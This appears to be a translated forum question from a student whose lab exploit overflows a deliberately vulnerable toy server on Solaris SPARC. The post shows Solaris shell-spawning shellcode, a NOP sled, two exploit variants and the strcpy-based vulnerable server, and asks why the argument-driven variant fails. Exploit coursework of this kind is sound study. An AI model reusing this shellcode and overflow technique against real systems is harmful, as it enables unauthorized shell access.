私は最近、SUN Sparc の「サーバー」を「攻撃」してバッファ オーバーフローを引き起こすプログラムを作成するプロジェクトを終了しました。目標は、基本的に、実行中の「サーバー」内から /bin/ksh を起動することでした。
最終的には機能しましたが、愚かな理由だと思いました.ユーザーがバッファとオフセット値を引数として入力した場合は機能しませんでしたが、値がハードコードされている場合は機能しました.
「厳格な」プログラムは次のとおりです。
#include <stdlib.h>
#include <stdio.h>
/* lsd - Solaris shellcode
*/
static char shell[]= /* 10*4+8 bytes */
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh" ;
#define BUFSIZE 864
/* SPARC NOP
*/
static char np[] = "\xac\x15\xa1\x6e";
unsigned long get_sp( void ) {
asm("or %sp,%sp,%i0");
}
main( int argc, char *argv[] ) {
char buf[ BUFSIZE ],*ptr;
unsigned long ret,sp;
int rem,i,err;
ret = sp = get_sp();
if( argv[1] ) {
ret -= strtoul( argv[1], (void *)0, 16 );
}
/* align return address: IMPORTANT to be multiple of 8!! */
if( ( rem = ret % 8 ) ) {
ret &= ~(rem);
}
bzero( buf, BUFSIZE );
for( i = 0; i < BUFSIZE; i+=4 ) {
strcpy( &buf[i], np );
}
memcpy( (buf + BUFSIZE - strlen( shell ) - 8),shell,strlen( shell ));
ptr = &buf[856];
/* set fp to a save stack value
*/
*( ptr++ ) = ( sp >> 24 ) & 0xff;
*( ptr++ ) = ( sp >> 16 ) & 0xff;
*( ptr++ ) = ( sp >> 8 ) & 0xff;
*( ptr++ ) = ( sp ) & 0xff;
/* we now overwrite saved PC
*/
*( ptr++ ) = ( ret >> 24 ) & 0xff;
*( ptr++ ) = ( ret >> 16 ) & 0xff;
*( ptr++ ) = ( ret >> 8 ) & 0xff;
*( ptr++ ) = ( ret ) & 0xff;
buf[ BUFSIZE ] = 0;
#ifndef QUIET
printf("Return Address 0x%x\n",ret);
printf("Start overflowing server program\n");
printf("Then a program such as shell can be executed after server program is over\n");
#endif
err = execl( "./server1", "server1", buf, ( void *)0 );
if( err == -1 ) perror("execl");
}
そして、これが「柔軟な」バージョンです。
#include <stdlib.h>
#include <stdio.h>
/* lsd - Solaris shellcode
*/
static char shell[]= /* 10*4+8 bytes */
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh" ;
static int BUFSIZE;
static int OFFSET;
/* SPARC NOP
*/
static char np[] = "\xac\x15\xa1\x6e";
unsigned long get_sp( void ) {
asm("or %sp,%sp,%i0");
}
main( int argc, char *argv[] ) {
BUFSIZE = atoi(argv[1]);
OFFSET = atoi(argv[2]);
char buf[ BUFSIZE ],*ptr;
unsigned long ret,sp;
int rem,i,err;
ret = sp = get_sp();
if( argv[1] ) {
ret -= strtoul( argv[1], (void *)0, 16 );
}
/* align return address: IMPORTANT to be multiple of 8!! */
if( ( rem = ret % 8 ) ) {
ret &= ~(rem);
}
bzero( buf, BUFSIZE );
for( i = 0; i < BUFSIZE; i+=4 ) {
strcpy( &buf[i], np );
}
memcpy( (buf + BUFSIZE - strlen( shell ) - 8),shell,strlen( shell ));
ptr = &buf[OFFSET];
/* set fp to a save stack value
*/
*( ptr++ ) = ( sp >> 24 ) & 0xff;
*( ptr++ ) = ( sp >> 16 ) & 0xff;
*( ptr++ ) = ( sp >> 8 ) & 0xff;
*( ptr++ ) = ( sp ) & 0xff;
/* we now overwrite saved PC
*/
*( ptr++ ) = ( ret >> 24 ) & 0xff;
*( ptr++ ) = ( ret >> 16 ) & 0xff;
*( ptr++ ) = ( ret >> 8 ) & 0xff;
*( ptr++ ) = ( ret ) & 0xff;
buf[ BUFSIZE ] = 0;
#ifndef QUIET
printf("Return Address 0x%x\n",ret);
printf("Start overflowing server program\n");
printf("Then a program such as shell can be executed after server program is over\n");
#endif
err = execl( "./server1", "server1", buf, ( void *)0 );
if( err == -1 ) perror("execl");
}
唯一の違いは、BUFSIZE と OFFSET を定義せずに宣言し、メインで設定することです。
後世のために、私が攻撃している「サーバー」は次のとおりです。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void copy1( const char *a ){
char buf[800];
int i, j, k;
printf("Inside COPY\n");
strcpy(buf,a);
}
void Doing_nothing() {
int i, a[200];
printf("Inside Doing_nothing\n");
for (i=0; i < 100; i++)
a[i] =2;
}
void main( int argc, char *argv[] ) {
printf("\n *********************************\n");
printf("This is a newly developed WEB server. \n");
printf(" ****************************************\n") ;
printf(" ******The web server is executing*******\n") ;
printf(" ****************************************\n") ;
if (argc >=2 ) {
Doing_nothing();
copy1( argv[1] );
}
}
これらはすべて、私の Oracle Solaris 10 9/10 s10s_u9wos_14a SPARC マシンでコンパイルされました。
私の質問は:
BUFSIZE と OFFSET コマンド ライン引数を作成したからといって、柔軟なプログラムが機能しないのはなぜですか?